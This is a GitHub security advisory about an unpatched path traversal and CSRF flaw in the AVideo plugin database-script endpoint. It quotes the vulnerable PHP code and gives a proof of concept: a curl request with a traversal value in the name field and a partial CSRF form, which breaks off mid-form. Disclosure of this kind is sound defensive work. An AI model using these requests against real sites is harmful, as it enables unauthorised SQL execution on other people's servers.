GitHub Security Advisory: GHSA-3hwv-x8g3-9qpr
Package: wwbn/avideo (COMPOSER)
Severity: HIGH (CVSS 7.2)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: <= 26.0
Patched in: unpatched

Summary: AVideo has Path Traversal in pluginRunDatabaseScript.json.php Enables Arbitrary SQL File Execution via Unsanitized Plugin Name

Details:
## Summary

The `objects/pluginRunDatabaseScript.json.php` endpoint accepts a `name` parameter via POST and passes it to `Plugin::getDatabaseFileName()` without any path traversal sanitization. This allows an authenticated admin (or an attacker via CSRF) to traverse outside the plugin directory and execute the contents of any `install/install.sql` file on the filesystem as raw SQL queries against the application database.

## Details

The vulnerable data flow:

**1. Entry point** — `objects/pluginRunDatabaseScript.json.php:21`:
```php
$fileName = Plugin::getDatabaseFileName($_POST['name']);
```

**2. "Sanitization"** — `objects/plugin.php:343-354`:
```php
public static function getDatabaseFileName($pluginName)
{
    global $global;
    $pluginName = AVideoPlugin::fixName($pluginName);  // line 347 — no-op
    $dir = $global['systemRootPath'] . "plugin";
    $filename = $dir . DIRECTORY_SEPARATOR . $pluginName . DIRECTORY_SEPARATOR . "install" . DIRECTORY_SEPARATOR . "install.sql";
    if (!file_exists($filename)) {
        return false;
    }
    return $filename;
}
```

**3. The "fix"** — `plugin/AVideoPlugin.php:3184-3190`:
```php
public static function fixName($name)
{
    if ($name === 'Programs') {
        return 'PlayLists';
    }
    return $name;  // Returns input unchanged for all other values
}
```

**4. SQL execution** — `objects/pluginRunDatabaseScript.json.php:24-36`:
```php
$lines = file($fileName);
foreach ($lines as $line) {
    // ...
    if (!$global['mysqli']->query($templine)) {
        $obj->msg = ('Error performing query \'<strong>' . $templine . '\': ' . $global['mysqli']->error);
        die($templine.' '.json_encode($obj));  // Leaks file content + SQL error
    }
}
```

The sibling endpoint `pluginRunUpdateScript.json.php` correctly routes through `AVideoPlugin::loadPlugin()` which sanitizes the name with `preg_replace('/[^0-9a-z_]/i', '', $name)` at `AVideoPlugin.php:395`. The vulnerable endpoint bypasses this sanitization entirely.

Additionally, the endpoint lacks CSRF token validation. The related `pluginImport.json.php` properly checks `isGlobalTokenValid()`, but `pluginRunDatabaseScript.json.php` does not, making it exploitable via cross-site request forgery against an authenticated admin.

## PoC

**Step 1: Direct exploitation (as admin)**

```bash
# Traverse to another plugin's install.sql (e.g., from CustomPlugin to LiveLinks)
curl -s -b "PHPSESSID=<admin_session>" \
  -d "name=../plugin/LiveLinks" \
  "https://target.com/objects/pluginRunDatabaseScript.json.php"
```

This resolves to: `{root}/plugin/../plugin/LiveLinks/install/install.sql` and executes its SQL.

**Step 2: CSRF exploitation (no direct admin access needed)**

Host the following HTML on an attacker-controlled page and trick an admin into visiting it:

```html
<html>
<body>
<form action="https://target.com/objects/pluginRunDatabaseScript.json.php" method="POST" id="csrf">
  <input type="hidden" name="name" value="../../attacker-controlled-path" />